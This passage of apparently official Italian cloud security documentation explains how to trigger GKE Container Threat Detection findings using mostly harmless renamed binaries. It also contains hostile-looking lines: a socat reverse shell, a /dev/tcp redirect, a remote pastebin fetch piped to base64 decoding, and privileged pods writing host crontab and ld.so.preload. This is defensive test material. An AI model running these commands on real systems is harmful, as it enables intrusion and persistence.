  (socat UNIX-LISTEN:/tmp/shell.sock STDOUT &)

Attendi circa 10 minuti affinché il listener si stabilisca. L'operazione richiede poco meno di 10 secondi.

Esegui il binding al socket Unix per stabilire una connessione shell inversa

  socat UNIX-CONNECT:/tmp/shell.sock EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

Potrebbe essere restituito un errore, ma va bene purché venga stabilita brevemente una connessione in precedenza.

Questa procedura di test dovrebbe creare un risultato Execution: Socat Reverse Shell Detected che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: Modifica Cron sospetta (anteprima)

Per attivare il rilevamento di una modifica Cron sospetta, modifica il file /etc/crontab dell'host da un container. Questo esempio esegue il deployment dell'ultima immagine di Ubuntu 24.04, montando il file system root dell'host nel container. Quindi, aggiorna il file crontab.

Si tratta di un rilevatore di monitoraggio dei file e ha requisiti specifici per la versione di GKE.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Esegui un comando per modificare il file /etc/crontab dell'host.

Nodo x86:

tag="ktd-test-cron-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

Nodo ARM:

tag="ktd-test-cron-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Questa procedura di test attiva un risultato Modifica cron sospetta che puoi visualizzare in Security Command Center e, se hai configurato la registrazione per Container Threat Detection, in Cloud Logging. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Esecuzione: Oggetto condiviso OpenSSL sospetto caricato

Per attivare un risultato Execution: Suspicious OpenSSL Shared Object Loaded, esegui il comando openssl engine con un argomento che sia un file che termina con l'estensione .so. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. L'utilità /bin/ls viene copiata e rinominata in /tmp/openssl. Il binario rinominato viene quindi eseguito con gli argomenti engine e .so fittizi. L'esecuzione di openssl engine con un file .so è contrassegnata come sospetta perché imita il comportamento di un oggetto condiviso caricato per eseguire codice dannoso.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Esegui un binario in grado di comunicare con la rete, ad esempio curl, ed eseguilo con una variabile di ambiente proxy HTTP non consentita:

Nodo x86:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"

Nodo ARM:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"

Questa procedura di test dovrebbe creare un risultato Execution: Suspicious OpenSSL Shared Object Loaded che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esfiltrazione: avvia strumenti di copia file remoti nel container

Per attivare un risultato Exfiltration: Launch Remote File Copy Tools In Container, esegui uno strumento di copia file remota comune all'interno di un container. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. L'utilità /bin/ls viene copiata e rinominata in /tmp/rsync, quindi viene eseguita per recuperare un file da un'origine remota, potenzialmente dannosa. L'esecuzione di uno strumento di questo tipo con argomenti di recupero di file remoti all'interno di un container viene contrassegnata come sospetta, in quanto potrebbe indicare un tentativo di scaricare ed eseguire codice dannoso o esfiltrare dati.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Esegui uno strumento di copia file remota, come rsync:

Nodo x86:

tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/rsync; /tmp/rsync"

Nodo ARM:

tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/rsync; /tmp/rsync"

Questa procedura di test dovrebbe creare un risultato Exfiltration: Launch Remote File Copy Tools In Container che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Impatto: Rileva cmdline dannose

Per attivare un risultato Impact: Detect Malicious Cmdlines (Anteprima), l'esecuzione di una riga di comando con pattern o argomenti dannosi noti deve essere osservata all'interno di un container. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. Consiste nel copiare il binario /bin/ls e rinominare la copia in ipfs. Viene poi eseguito il file binario rinominato. Questo comportamento viene contrassegnato come sospetto perché può indicare un tentativo di eseguire codice dannoso o aggirare i controlli di sicurezza.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Esegui un binario come ipfs:

Nodo x86:

tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/ipfs; /tmp/ipfs"

Nodo ARM:

tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/ipfs; /tmp/ipfs"

Questa procedura di test crea un risultato Impact: Detect Malicious Cmdlines che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Impatto: Rimuovi dati collettivi dal disco

Per attivare un risultato Impact: Remove Bulk Data From Disk, inserisci nel contenitore un binario in grado di eliminare o sovrascrivere i dati ed eseguilo. Questo esempio utilizza l'ultima immagine Ubuntu 24.04. Consiste nel copiare il file binario /bin/ls e rinominare la copia in shred (o un'utilità simile progettata per l'eliminazione sicura dei file). Viene quindi eseguito il file binario rinominato. Questa azione è contrassegnata come sospetta perché imita il comportamento spesso osservato quando vengono effettuati tentativi di rimuovere grandi quantità di dati da un disco all'interno di un ambiente in container.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduci un binario di eliminazione di file o dati come shred ed eseguilo:

Nodo x86:

tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/shred; /tmp/shred"

Nodo ARM:

tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/shred; /tmp/shred"

Questa procedura di test dovrebbe creare un risultato Impact: Remove Bulk Data From Disk che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Impatto: attività sospetta di cryptomining mediante il protocollo Stratum

Per attivare un risultato Impact: Suspicious crypto mining activity using the Stratum Protocol, è necessario eseguire un file binario all'interno di un container con argomenti simili a quelli utilizzati dal software di mining di criptovalute che comunica utilizzando il protocollo Stratum. L'esempio utilizza l'ultima immagine Ubuntu 24.04. Copia /bin/ls e rinomina la copia in un binario simulato (presumibilmente per simulare un miner di criptovalute). Questo binario rinominato viene quindi eseguito con argomenti che includono stratum+tcp o indicatori di protocollo Stratum simili. Questa attività è contrassegnata come sospetta perché imita i pattern di comunicazione di rete del software di mining di criptovalute all'interno di ambienti containerizzati.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduci un binario di utilità come curl ed eseguilo con argomenti simili a quelli utilizzati dal software di cryptomining che comunica utilizzando il protocollo Stratum:

Nodo x86:

tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"

Nodo ARM:

tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"

Questa procedura di test dovrebbe creare un risultato Impact: Suspicious crypto mining activity using the Stratum Protocol che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Potresti anche visualizzare un risultato aggiuntivo per il comando bash che esegui in questo test. Questo comportamento è normale e puoi ignorare il risultato aggiuntivo.

Script dannoso eseguito

Per attivare un risultato Script dannoso eseguito, puoi eseguire lo script nella seguente procedura nel container.

La procedura esegue il deployment dell'ultima immagine di Ubuntu 24.04, copia uno script che sembra dannoso e poi lo esegue. Per attivare un rilevamento, uno script deve apparire dannoso per il rilevatore.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Esegui il seguente script in un nuovo contenitore.

Questo script Bourne shell in linea ha avuto origine da un honeypot. Tuttavia, è stato modificato in modo da non eseguire il binario dannoso, quindi l'esecuzione dello script non causerà attività dannose nel tuo contenitore. Il file binario all'URL di riferimento potrebbe essere stato rimosso e il tentativo di seguire l'URL genererà un errore 404. È previsto. Il tentativo di scaricare, decodificare ed eseguire un file binario utilizzando uno script incorporato è ciò che attiva il rilevamento.

Nodo x86:

tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

Nodo ARM:

tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

Questa procedura di test crea un risultato Esecuzione di script dannoso che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Rilevato URL dannoso

Per attivare un risultato URL dannoso osservato, esegui un file binario e fornisci un URL dannoso come argomento.

L'esempio seguente esegue il deployment di un'immagine Ubuntu 24.04 ed esegue /bin/curl per accedere a un URL di malware di esempio dal servizio Navigazione sicura.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Esegui curl e fornisci un URL dannoso come argomento:

Nodo x86:

tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"

Nodo ARM:

tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
      --restart=Never \
      --rm=true -i \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
      {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
      "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
      "value": "arm64" } ]}}' \
      "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"

Questa procedura di test attiva un risultato URL dannoso osservato che puoi visualizzare in Security Command Center e, se hai configurato la registrazione per Container Threat Detection, in Cloud Logging. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Persistenza: modifica ld.so.preload (anteprima)

Per attivare il rilevamento delle modifiche di ld.so.preload, modifica il file /etc/ld.so.preload dell'host. Questo esempio esegue il deployment dell'ultima immagine di Ubuntu 24.04, monta il file system root dell'host nel container e poi aggiorna /etc/ld.so.preload.

Si tratta di un rilevatore di monitoraggio dei file e ha requisiti specifici per la versione di GKE.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Esegui un file binario che modifica il file /etc/ld.so.preload dell'host.

Nodo x86:

tag="ktd-test-ld-preload-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

Nodo ARM:

tag="ktd-test-ld-preload-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Questa procedura di test attiva un risultato di modifica ld.so.preload che puoi visualizzare in Security Command Center e, se hai configurato la registrazione per Container Threat Detection, in Cloud Logging. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Escalation dei privilegi: abuso di sudo per l'escalation dei privilegi (CVE-2019-14287)

Per attivare un risultato Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287), esegui il binario sudo con il parametro -u#-1. Questo esempio copia il binario /bin/ls per imitare il binario sudo e lo esegue con il parametro specificato.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Avvia un binario con il reindirizzamento /bin/echo a Google Public DNS:

Nodo x86:

tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
   "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"

Nodo ARM:

tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
   "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"

Questa procedura di test crea un risultato Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Escalation dei privilegi: esecuzione senza file in `/dev/shm`

Per attivare un risultato Privilege Escalation: Fileless Execution in /dev/shm, deve essere eseguito un processo dal file system in memoria /dev/shm. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. L'utilità /bin/echo viene copiata in /dev/shm/echo. Viene quindi eseguito il file binario rinominato. L'esecuzione di un file in /dev/shm viene segnalata come sospetta perché imita il comportamento di un oggetto che tenta di essere eseguito in memoria per evitare rilevamenti basati su file.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Crea un container con privilegi e apri bash per eseguire i comandi:

Nodo x86:

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -it \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"spec": {"containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}]}}' \
   "$tag" -- bash

Nodo ARM:

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -it \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash

Copia echo in /dev/shm e rendilo eseguibile utilizzando chmod

  cp /bin/echo /dev/shm
  chmod 777 /dev/shm/echo

Rimonta /dev/shm per abilitare l'esecuzione
```
  mount -o remount,exec /dev/shm
```
Esegui echo da /dev/shm
```
  /dev/shm/echo "Hello from /dev/shm"
```

Questa procedura di test dovrebbe creare un risultato Privilege Escalation: Fileless Execution in /dev/shm che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Escalation dei privilegi: vulnerabilità di escalation dei privilegi locali di Polkit (CVE-2021-4034)

Per attivare un risultato Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034), esegui un binario pkexec con la variabile di ambiente GCONV_PATH impostata come utente non root. Questo esempio copia il file binario /bin/ls per imitare il file binario pkexec e lo esegue con il parametro specificato come ID utente 1000.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Avvia un binario con il reindirizzamento /bin/echo a Google Public DNS:

Nodo x86:

tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "securityContext": { "runAsUser": 1000 }}}' \
   "$tag" -- bash -c \
   "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"

Nodo ARM:

tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { 
   "securityContext": { "runAsUser": 1000 }, "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
   "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"

Questa procedura di test crea un risultato Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Escalation dei privilegi: potenziale escalation dei privilegi sudo (CVE-2021-3156)

Per attivare un risultato Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156), esegui il file binario sudo come utente non root con il parametro -s e un parametro che termina con \`. This example copies the/bin/lsbinary to imitate thesudo` binary e lo esegui con i parametri specificati.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Avvia un binario con il reindirizzamento /bin/echo a Google Public DNS:

Nodo x86:

tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "securityContext": { "runAsUser": 1000 }}}' \
   "$tag" -- bash -c \
   'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'

Nodo ARM:

tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { 
   "securityContext": { "runAsUser": 1000 },
   "nodeSelector": { "kubernetes.io/arch":"arm64" }, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
   'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'

Questa procedura di test crea un risultato Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Shell inversa

Per attivare un risultato Reverse Shell, avvia un binario con il reindirizzamento stdin a un socket connesso TCP. Questo esempio copia /bin/echo in /tmp/sh, poi avvia /tmp/sh con il reindirizzamento a Google Public DNS 8.8.8.8 sulla porta DNS. Quando esegui questo esempio, non viene stampato nulla. Per evitare l'iniezione di codice esterno tramite un attacco man in the middle (MITM), questo esempio non utilizza il binario /bin/sh.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Avvia un binario con il reindirizzamento /bin/echo a Google Public DNS:

Nodo x86:

tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

Nodo ARM:

tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

Questa procedura di test crea un risultato Reverse Shell che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Shell secondaria imprevista

Per testare il rilevatore Unexpected Child Shell, puoi creare un albero dei processi che includa un processo shell secondario.

L'esempio seguente crea un albero dei processi consul->dash, che può essere rilevato dal rilevatore Unexpected Child Shell. Questo test è sicuro perché utilizza solo file binari integrati. Questo esempio esegue le seguenti operazioni:

Crea una copia del processo sh e la denomina consul.
Copia il processo echo e lo denomina dash.
Richiama il processo dash copiato nel processo consul copiato.

Per attivare un risultato Unexpected Child Shell:

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Utilizza la procedura di simulazione consul per richiamare una shell simulata:

Nodo x86:

tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu "$tag" \
   --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

Nodo ARM:

tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
